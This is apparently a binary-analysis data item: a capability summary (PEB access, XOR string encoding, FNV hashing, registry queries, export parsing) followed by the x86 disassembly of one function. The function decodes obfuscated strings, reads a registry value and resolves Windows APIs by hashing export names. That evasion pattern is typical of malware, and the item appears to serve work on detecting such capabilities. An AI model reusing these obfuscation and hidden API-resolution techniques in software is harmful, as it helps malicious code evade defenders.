Function at 0x40b3a0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48982d
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x78
mov eax, dword [0x4a4314]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
movups xmm0, xmmword [str.020___7]
mov ax, word [0x49eee4]
mov esi, 4
mov edi, dword [0x4a5684]
mov word [ebp - 0x44], ax
movups xmmword [ebp - 0x5c], xmm0
lea ecx, [esi + 0x1b]
movq xmm0, qword [0x49eedc]
movq qword [ebp - 0x4c], xmm0
test ah, ah
je 0x40b57e
xor edx, edx
mov dword [ebp - 0x6c], edx
cmp edi, 2
jl 0x40b550
movaps xmm0, xmmword [0x49f340]
movaps xmm4, xmmword [0x49f2f0]
movaps xmm3, xmmword [0x49f330]
movaps xmm6, xmmword [0x49f310]
movd xmm7, ecx
movaps xmmword [ebp - 0x40], xmm0
mov ecx, dword [ebp - 0x40]
movd xmm5, esi
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x5c]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x5c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x58]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x58], xmm1
add edx, 8
cmp edx, 0x18
jl 0x40b450
mov dword [ebp - 0x6c], edx
cmp edx, 0x1a
jge 0x40b57e
nop
mov eax, 0x288df0cb
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x6c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x5c], cl
inc edx
mov dword [ebp - 0x6c], edx
cmp edx, 0x1a
jl 0x40b550
lea eax, [ebp - 0x6c]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x5c]
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40b743
cmp byte [0x49e4ff], 0
mov eax, dword [0x49e4fc]
mov dword [ebp - 0x7c], 0x20
mov dword [ebp - 0x68], eax
je 0x40b67f
xor edx, edx
mov dword [ebp - 0x64], edx
cmp edi, 2
jl 0x40b650
movaps xmm3, xmmword [0x49f2f0]
mov ecx, 0x1f
movaps xmm2, xmm3
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x49f330]
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x49f330]
shufps xmm2, xmm0, 0xdd
movd xmm0, esi
psrad xmm2, xmm0
movd xmm0, ecx
movaps xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x49f310]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
paddb xmm1, xmmword [0x49f340]
movd xmm0, eax
pxor xmm1, xmm0
movd dword [ebp - 0x68], xmm1
jmp 0x40b67f
mov eax, 0x446f8657
mul edx
mov eax, dword [ebp - 0x64]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x64]
shr eax, 6
mov cl, dl
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x68], cl
inc edx
mov dword [ebp - 0x64], edx
cmp edx, esi
jl 0x40b650
lea eax, [ebp - 0x7c]
push eax
push 0
lea eax, [ebp - 0x80]
push eax
push 0
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 0x6c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40b743
cmp dword [ebp - 0x80], 1
je 0x40b763
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x74], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x70], ecx
cmp ecx, esi
je 0x40b71f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x40b71f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x64], ecx
dec edi
mov esi, 0x6b66b8d9
mov cl, byte [edx]
inc edx
test cl, cl
je 0x40b715
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x40b6f8
cmp esi, 0xa3c29eb6
je 0x40b723
mov ecx, dword [ebp - 0x64]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x40b6e0
mov eax, dword [eax]
jmp 0x40b6b6
mov esi, dword [ebp - 0x70]
mov edx, dword [ebp - 0x74]
push dword [ebp - 0x6c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0046a386
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push ecx
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x40]
call fcn.00416430
mov dword [ebp - 4], 0
lea esi, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0x10
mov eax, dword [0x49e4fc]
cmovae esi, dword [ebp - 0x40]
cmp byte [0x49e4ff], 0
mov dword [ebp - 0x68], eax
je 0x40b860
xor edx, edx
mov dword [ebp - 0x64], edx
cmp edi, 2
jl 0x40b830
movaps xmm3, xmmword [0x49f2f0]
mov ecx, 4
movaps xmm2, xmm3
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x49f330]
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x49f330]
shufps xmm2, xmm0, 0xdd
movd xmm0, ecx
mov ecx, 0x1f
psrad xmm2, xmm0
movaps xmm1, xmm2
movd xmm0, ecx
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x49f310]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
paddb xmm1, xmmword [0x49f340]
movd xmm0, eax
pxor xmm1, xmm0
movd dword [ebp - 0x68], xmm1
jmp 0x40b860
mov eax, 0x446f8657
mul edx
mov eax, dword [ebp - 0x64]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x64]
shr eax, 6
mov cl, dl
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x68], cl
inc edx
mov dword [ebp - 0x64], edx
cmp edx, 4
jl 0x40b830
lea eax, [ebp - 0x7c]
push eax
push esi
push 0
push 0
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 0x6c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40b924
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x64], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x70], ecx
cmp ecx, esi
je 0x40b8f7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x40b8f7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x74], ecx
dec edi
mov esi, 0x6525969a
mov cl, byte [edx]
inc edx
test cl, cl
je 0x40b8ed
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x40b8d0
cmp esi, 0xa38ff83
je 0x40b8fb
mov ecx, dword [ebp - 0x74]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x40b8b5
mov eax, dword [eax]
jmp 0x40b890
mov esi, dword [ebp - 0x70]
mov edx, dword [ebp - 0x64]
push dword [ebp - 0x6c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov byte [ebp - 0x5d], 0
jmp 0x40bb4f
mov esi, dword [ebp - 0x2c]
lea ecx, [ebp - 0x40]
mov edi, dword [ebp - 0x40]
cmp esi, 0x10
mov eax, dword [ebp - 0x30]
cmovae ecx, edi
mov dword [ebp - 0x70], eax
setae byte [ebp - 0x5d]
mov dword [ebp - 0x74], ecx
test eax, eax
je 0x40b9bc
push eax
push 0
push ecx
call fcn.0046c5d0
mov ecx, eax
add esp, 0xc
test ecx, ecx
je 0x40b9bc
sub ecx, dword [ebp - 0x74]
cmp ecx, 0xffffffff
je 0x40b9bc
mov edx, dword [ebp - 0x70]
cmp ecx, edx
ja 0x40b97c
cmp byte [ebp - 0x5d], 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x30], ecx
cmovne eax, edi
mov byte [ecx + eax], 0
jmp 0x40b9b6
mov edi, ecx
sub esi, edx
sub edi, edx
cmp edi, esi
ja 0x40b9a8
cmp byte [ebp - 0x5d], 0
lea esi, [ebp - 0x40]
push edi
cmovne esi, dword [ebp - 0x40]
add esi, edx
mov dword [ebp - 0x30], ecx
push 0
push esi
call fcn.0046c200
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x40b9b6
push ecx
push edi
push dword [ebp - 0x78]
lea ecx, [ebp - 0x40]
push edi
call fcn.00417100
mov esi, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x40]
cmp esi, 0x10
lea eax, [ebp - 0x40]
cmovae eax, edi
mov dword [ebp - 0x78], eax
mov ax, word [0x49eb74]
mov word [ebp - 0x68], ax
mov al, byte [0x49eb76]
mov byte [ebp - 0x66], al
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x64], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x70], ecx
cmp ecx, esi
je 0x40ba4f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x40ba4f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x74], ecx
dec edi
mov esi, 0x5fd6b817
mov cl, byte [edx]
inc edx
test cl, cl
je 0x40ba45
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x40ba28
cmp esi, 0x4ad00b17
je 0x40ba53
mov ecx, dword [ebp - 0x74]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x40ba10
mov eax, dword [eax]
jmp 0x40b9e6
mov esi, dword [ebp - 0x70]
mov edx, dword [ebp - 0x64]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x64], edx
mov eax, 0x446f8657
mul edx
mov eax, dword [ebp - 0x64]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x64]
shr eax, 6
mov cl, dl
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x68], cl
inc edx
mov dword [ebp - 0x64], edx
cmp edx, 3
jl 0x40ba73
push dword [ebp - 0x78]
lea eax, [ebp - 0x68]
push eax
push 0x4a5e2c
call esi
mov eax, dword fs:[0x30]
add esp, 0xc
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x70], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x74], ecx
cmp ecx, edx
je 0x40bb27
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x40bb27
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, edx
sub ecx, 4
dec edi
mov dword [ebp - 0x78], ecx
mov esi, 0xd30c9b5e
mov ecx, dword [ecx]
add ecx, edx
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x40bb1d
nop dword [eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x40bb00
cmp esi, 0xfaa73a7f
je 0x40bb2b
mov ecx, dword [ebp - 0x78]
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x40bae5
mov eax, dword [eax]
jmp 0x40bac0
mov esi, dword [ebp - 0x74]
mov edx, dword [ebp - 0x70]
push dword [ebp - 0x6c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov byte [ebp - 0x5d], 1
mov edx, dword [ebp - 0x2c]
cmp edx, 0x10
jb 0x40bb7f
mov ecx, dword [ebp - 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40bb75
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bb87
push edx
push ecx
call fcn.0046a5c6
add esp, 8
mov al, byte [ebp - 0x5d]
jmp 0x40b745
call fcn.00470be0
int3